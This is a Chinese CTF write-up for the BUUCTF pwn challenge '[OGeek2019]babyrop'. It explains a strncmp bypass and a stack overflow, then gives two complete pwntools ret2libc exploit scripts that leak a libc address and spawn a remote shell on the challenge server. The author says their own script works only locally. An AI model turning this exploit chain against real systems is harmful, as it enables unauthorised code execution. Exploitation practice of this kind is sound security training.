buuctf.pwn.[OGeek2019]babyrop

发布时间 2023-04-07 21:48:18作者: redqx

可以看出,没有开什么特别的保护

什么是plt,gpt,自己回顾一下

hex( elf.plt['puts'])

.plt.got:08048548 FF 25 D4 9F 04 08             jmp     ds:puts_ptr

hex(elf.got['puts'])

.got:08049FD4 6C A0 04 08                   puts_ptr dd offset __imp_puts ; DATA XREF: puts↑r

*(got['puts'])

extern:0804A06C 00 00 00 00                   extrn __imp_puts:near         ; CODE XREF: puts↑j

所以libc版本泄漏 是通过*(got['puts'])

也就是输出got['puts']指向的内容

进入main函数

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  init__();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = check(buf);
  last_func(v2);
  return 0;
}

check函数就是验证我们输入的数值和随机值是否相等

然后也没有什么可以缓冲区溢出的

int __cdecl check(int rand_num)
{
  size_t len_input; // eax
  char rand_string[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char input[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t len; // [esp+4Ch] [ebp-Ch]

  memset(rand_string, 0, sizeof(rand_string));
  memset(input, 0, sizeof(input));
  sprintf(rand_string, "%ld", rand_num);
  len = read(0, input, 32u);                    // 实际写入的字节数,而不是长度
  input[len - 1] = 0;
  len_input = strlen(input);
  if ( strncmp(input, rand_string, len_input) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)input[7];
}

但是strncmp()很奇怪

当比较的长度是0的时候,函数无脑返回0

所以这便是绕过strncmp的依据

然后看一下lastfunc

ssize_t __cdecl last_func(char input7)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( input7 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, input7);
}

默认的长度0xC8不满足溢出的条件

所以只能从input[7]入手

也就是我们输入的input[7]能够自定义输入的最大长度

当input[7]=0xff 会被扩展为4字节的有符号0xffffffff

然后我们能输入的长度就没有了限制

然后这个题目的攻击点是lib版本泄露

我要干的事情就是

last_func返回时去往puts,传入参数elf.got['puts'],.它就会打印出真实的puts地址

然后接收数据,计算出system和str_bin_sh

然后puts返回时去往last_func

对last_func再次输入system和str_bin_sh溢出

last_func返回时就去往system

payload1

我们先绕过check函数的strncmp,然后写入input[7]=0xff

#第一次绕过
payload = b'\0'+b'\xff'*7 # 长度为0会绕过strcmp 0x7f会导致后面read截断,所以写入0xff
p.sendline(payload)
p.recvuntil('Correct\n')#然后压入puts相关参数d的

payload2

利用缓冲区溢出去往puts函数,传入参数是elf.got['puts'],

同时接送输出的数据,然后计算 system,str_bin_sh

puts函数最后重新返回到last_func,注意再次进入last_func时,参数还是0xffffffff

然后再次利用缓冲区漏洞去往system

last_func = 0x080487D0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']

payload = b'a'*(0xE7+4) # lastfunc溢出到返回地址
payload+=p32(puts_plt)  # 进入 puts 函数
payload+=p32(last_func) # puts的返回地址
payload+=p32(puts_got)  # puts函数的参数
#当puts函数返回,进入last_func,此刻esp指向了p32(puts_got),此刻它的作用就是返回地址的占位
payload+=b'\xff'* 4 #这个作为再次进入last_func的函数参数,方便我们缓冲区溢出

#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈

接受到数据后做一个地址的运算

#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈
puts_addr = u32(p.recv(4))

#获取libc版本,做一个信息的运算处理
cur_libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - cur_libc.dump('puts')# 获取那个那个libc的imagebase
system_addr = libcbase + cur_libc.dump('system')
bin_sh = libcbase + cur_libc.dump('str_bin_sh')

再次进入last_func,发送我们要溢出的数据

#缓冲区溢出漏洞
payload = b'\0'*(0xE7+4)
payload+=p32(system_addr)# call
payload+=p32(0)#返回地址的一个占位填充
payload+=p32(bin_sh)#参数
p.sendline(payload)
p.interactive()

完整的exp

from pwn import *
from LibcSearcher import *

if 1:
    host='node4.buuoj.cn'
    port=28272
else:
    host='127.0.0.1'
    port=12345
context.log_level='debug'
p = remote(host,port)
#p = process('./pwn')
elf = ELF("./pwn")

#第一次绕过
payload = b'\0'+b'\xff'*7 # 长度为0会绕过strcmp 0x7f会导致后面read截断,所以写入0xff
p.sendline(payload)
p.recvuntil('Correct\n')#然后压入puts相关参数d的

last_func = 0x080487D0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']

payload = b'a'*(0xE7+4) #溢出到返回地址
payload+=p32(puts_plt)  # ret变为了call puts
payload+=p32(last_func) # puts的返回地址,返回到last,再次利用缓冲区溢出楼漏洞
payload+=p32(puts_got)  #压入参数puts的plt, 这个地址同时还作为我们第二次进入last的时候,返回ip的一个占位参数
payload+=b'\xff'* 4

#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
#puts_addr = u64(r.recvuntil('\n', drop=True).ljust(8,'\x00'))
#puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))
#print(hex(puts_addr))

#获取libc版本,做一个信息的运算处理
cur_libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - cur_libc.dump('puts')# 获取那个那个libc的imagebase
system_addr = libcbase + cur_libc.dump('system')
bin_sh = libcbase + cur_libc.dump('str_bin_sh')

#缓冲区溢出漏洞
payload = b'\0'*(0xE7+4)
payload+=p32(system_addr)# call
payload+=p32(0)#返回地址的padding
payload+=p32(bin_sh)#参数
p.sendline(payload)
p.interactive()


这个exp本地可以打通

但是远程就g

无论怎么选择libc版本号,都打不通

然后去网站搜索libc的版本号,反正就是搜不到(可能自己不会吧)

https://libc.blukat.me/

网上有个大佬的exp,就像上帝一样

直接看穿远程libc的信息

from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./pwn"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 28272
p = remote(host, port)

payload = b'\x00' + b'\xFF'* 7
p.sendline(payload)
p.recv()

write_jmp = elf.plt['write']# jmp 到 
write_IAT = elf.got['write']
main_addr = 0x8048825
org_write=0xD43C0
org_system=0x3A940
org_bin_sh=0x15902B


payload = b'\0'*(0xe7+4) 
payload += p32(write_jmp) 
payload += p32(main_addr)  
payload += p32(1) 
payload += p32(write_IAT) 
payload += p32(4)
p.sendline(payload)

write_addr = u32(p.recv(4))
libc = LibcSearcher("write", write_addr)
base = write_addr - org_write # 真实的 - 原有的
print(hex(base))
libc_system = base + org_system
bin_sh      = base + org_bin_sh

payload = b'\x00' + b'\xFF'* 7
#gdb.attach(io)
#pause()
p.sendline(payload)
p.recv()
payload = b'A'*(0xe7+4) + p32(libc_system) + p32(0) + p32(bin_sh)
p.sendline(payload)
p.interactive()

可以看到它直接把地址写死了

org_write=0xD43C0
org_system=0x3A940
org_bin_sh=0x15902B

woc,这些数据是怎么获取的,不应该呀

于是我去网上搜索对应的libc版本号,还是不对

反正大佬的exp可以打通

我的就不行,我的只能本地打通